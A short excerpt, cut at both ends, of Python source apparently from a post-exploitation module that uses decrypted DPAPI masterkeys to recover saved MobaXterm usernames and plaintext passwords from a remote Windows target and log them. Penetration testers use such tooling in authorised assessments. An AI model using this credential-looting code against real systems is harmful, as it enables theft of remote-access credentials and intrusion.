| 49 | context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets") |
| 50 | |
| 51 | def mobaxterm_callback(credential): |
| 52 | if isinstance(credential, MobaXtermCredential): |
| 53 | log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) |
| 54 | elif isinstance(credential, MobaXtermPassword): |
| 55 | log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) |
| 56 | context.log.highlight(f"[{credential.winuser}] {log_text}") |
| 57 | |
| 58 | try: |
| 59 | triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) |